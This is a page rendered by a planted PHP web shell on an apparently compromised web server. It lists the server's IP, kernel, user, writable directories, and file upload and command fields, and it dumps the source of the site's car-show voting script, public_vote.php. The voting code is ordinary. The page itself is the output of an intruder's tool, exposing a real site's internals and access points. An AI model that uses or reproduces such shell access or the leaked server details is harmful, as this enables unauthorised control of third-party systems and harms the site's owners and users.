403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/app/public_vote.php
<?php
session_start();
include_once("db.php");
include_once("voting_helpers.php");

function public_town_only($address) {
    $address = trim((string) $address);
    if ($address === '') {
        return 'Not listed';
    }

    if (strpos($address, ',') !== false) {
        $address = trim(explode(',', $address)[0]);
    }

    if (preg_match('/\d/', $address)) {
        return 'Not listed';
    }

    return $address;
}

$settingSql = "SELECT * FROM `settings` WHERE id = 1";
$settingQuery = mysqli_query($conn, $settingSql);
$setting = mysqli_fetch_assoc($settingQuery);
$votingSettings = getVotingSettings($conn);
$votingClosed = isVotingClosed($votingSettings);
$closedOverridePassword = trim($votingSettings['closed_override_password'] ?? '');
$closedOverrideInput = trim($_POST['closed_override_password'] ?? '');
$hasClosedPasswordOverride = $votingClosed && $closedOverridePassword !== '' && hash_equals($closedOverridePassword, $closedOverrideInput);

$vehicle = null;
$vehicleId = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
$publicVoteCookieName = "people_choice_voted";
$hasVotedPeopleChoice = isset($_COOKIE[$publicVoteCookieName]);

foreach ($_COOKIE as $cookieName => $cookieValue) {
    if (preg_match('/^voted_\d+$/', $cookieName)) {
        $hasVotedPeopleChoice = true;
        break;
    }
}

if ($vehicleId) {
    $vehicleStmt = mysqli_prepare($conn, "SELECT * FROM vehicles WHERE id = ?");
    mysqli_stmt_bind_param($vehicleStmt, "i", $vehicleId);
    mysqli_stmt_execute($vehicleStmt);
    $vehicleResult = mysqli_stmt_get_result($vehicleStmt);
    $vehicle = mysqli_fetch_assoc($vehicleResult);
}

if ($vehicle && $_SERVER['REQUEST_METHOD'] === 'POST') {
    if ($votingClosed && !$hasClosedPasswordOverride) {
        $_SESSION['err'] = "Voting is closed. Enter the admin override password to submit this vote.";
    } elseif ($hasVotedPeopleChoice) {
        $_SESSION['err'] = "You have already used your People's Choice vote.";
    } else {
        $vote = (int) $vehicle['fav_vote'] + 1;
        $updateStmt = mysqli_prepare($conn, "UPDATE vehicles SET fav_vote = ? WHERE id = ?");
        mysqli_stmt_bind_param($updateStmt, "ii", $vote, $vehicleId);
        mysqli_stmt_execute($updateStmt);

        setcookie($publicVoteCookieName, "1", time() + (86400 * 365), "/");
        $_SESSION['msg'] = "Successfully voted.";
        header("Location: public_vote.php?id=" . $vehicleId);
        exit;
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>People's Choice Vote</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css" />
    <link rel="stylesheet" href="style.css">
    <style>
        .main{
            padding-bottom: 80px;
        }
        input{
            width: 100% !important;
            margin: auto;
            height: 45px !important;
        }
        .vehicle-summary {
            color: #fff;
            font-size: 18px;
        }
    </style>
</head>
<body>
    <?php if ($vehicle) { ?>
        <div class="container">
            <div class="main">
                <h1 class="text-center">People's Choice</h1>
                <div class="row">
                    <div class="col-md-12">
                        <div class="form-img text-center">
                            <img src="./admin/assets/upload/<?php echo htmlspecialchars($setting['logo'] ?? '', ENT_QUOTES); ?>" alt="" class="card-img-top" style="width:250px; height: 250px; margin:auto;">
                            <p class="vehicle-summary mt-3 mb-0">
                                #<?php echo htmlspecialchars($vehicle['id'], ENT_QUOTES); ?>
                                <?php echo htmlspecialchars($vehicle['vehicle_year'] . " " . $vehicle['vehicle_maker'] . " " . $vehicle['vehicle_model'], ENT_QUOTES); ?>
                            </p>
                            <p class="vehicle-summary mb-0">
                                Town: <?php echo htmlspecialchars(public_town_only($vehicle['address'] ?? ''), ENT_QUOTES); ?>
                            </p>
                        </div>
                    </div>
                    <div class="d-flex justify-content-center align-items-center flex-column" style="width: 100%; margin-top: 30px;">
                        <?php if (isset($_SESSION['msg'])) { ?>
                            <div class="alert alert-success alert-dismissible fade show mt-4" role="alert">
                                <?php echo htmlspecialchars($_SESSION['msg'], ENT_QUOTES); ?>
                                <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                                    <span aria-hidden="true">&times;</span>
                                </button>
                            </div>
                            <?php unset($_SESSION["msg"]); ?>
                        <?php } ?>

                        <?php if (isset($_SESSION['err'])) { ?>
                            <div class="alert alert-danger alert-dismissible fade show mt-4" role="alert">
                                <?php echo htmlspecialchars($_SESSION['err'], ENT_QUOTES); ?>
                                <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                                    <span aria-hidden="true">&times;</span>
                                </button>
                            </div>
                            <?php unset($_SESSION["err"]); ?>
                        <?php } ?>

                        <div class="form-submit">
                            <?php if ($hasVotedPeopleChoice) { ?>
                                <p class="text-danger mt-2">You have already used your People's Choice vote.</p>
                            <?php } else { ?>
                                <form novalidate action="" method="POST">
                                    <?php if ($votingClosed) { ?>
                                        <div class="alert alert-warning text-center" role="alert">
                                            Voting is closed<?php echo formatVotingCloseTime($votingSettings) ? " as of " . htmlspecialchars(formatVotingCloseTime($votingSettings), ENT_QUOTES) : ""; ?>. Admin override is required.
                                        </div>
                                        <div class="form-group">
                                            <label for="closed_override_password">Admin Override Password</label>
                                            <input type="password" class="form-control" id="closed_override_password" name="closed_override_password" required placeholder="Enter override password">
                                        </div>
                                    <?php } ?>
                                    <button type="submit" name="vote" class="btn btn-warning">Vote Now</button>
                                </form>
                            <?php } ?>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    <?php } else { ?>
        <div class="text-center mt-5">
            <p>NO DATA FOUND!!!!</p>
            <a href="index.php" class="btn btn-info">Go To Home</a>
        </div>
    <?php } ?>

    <script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit